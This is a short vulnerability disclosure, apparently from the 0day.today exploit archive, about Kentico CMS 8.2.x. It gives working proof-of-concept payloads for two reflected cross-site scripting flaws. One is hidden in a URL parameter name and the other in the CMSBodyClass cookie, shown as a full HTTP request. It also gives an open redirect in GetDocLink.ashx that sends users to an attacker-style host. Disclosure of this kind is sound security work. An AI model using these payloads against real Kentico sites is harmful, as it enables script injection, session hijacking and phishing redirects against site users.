Kentico CMS 8.2.x Multiple Vulnerabilities

Vulnerability type: Reflected XSS  (High)
The elementguid variable is vulnerable to Reflected XSS. The parameter value encodes the special characters but the parameter name is not so I made the payload act as parameter name. 

PoC: 

http://172.16.16.136/Kentico82/CMSModules/AdminControls/Pages/UIPage.aspx?elementguid=43ea4f2b-554e-40f3-a602-90ef5e1e1d4f&"><img src%3Dx onerror%3Dalert(unescape(`%2540%254B%2549%254E%2547%2553%2541%2542%2552%2549`)) %3D>=w00t


Vulnerability type: Reflected XSS  (Medium)
The CMSBodyClass cookie variable. Intercept with proxy then inject the payload "><script>alert('@KINGSABRI')</script> 
PoC: 

GET /Kentico82/?viewmode=livesite HTTP/1.1
Host: 172.16.16.136
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://172.16.16.136/Kentico82/Admin/CMSAdministration.aspx?username=administrator
Cookie: ASP.NET_SessionId=kobazkqekmwdeyhwtt4fcfed; CMSCookieLevel=1000; CMSPreferredUICulture=en-US; .ASPXFORMSAUTH=400E1E790B524F80A31B06187AFD143B3B3B24FC4D745185CFAA314B433F3417485CD352543B86B88D21DC322D724F8613F60EF6174C08826D9B3043DB8671EAFB9C146A5AF645EF65DB9ABB4BA9BD117698715E4D888C9C4F8060C9A3DFB5D6; CMSPreferredCulture=en-US; CMSBodyClass=SSSS"><script>alert('@KINGSABRI')</script>SSSS


Vulnerability type: Open Redirect (Low)
The GetDocLink.ashx  with link variable is vulnerable to open redirect vulnerability
PoC: 
http://172.16.16.136/Kentico82/CMSPages/GetDocLink.ashx?link=http://attacker.zone


#  0day.today [2018-04-08]  #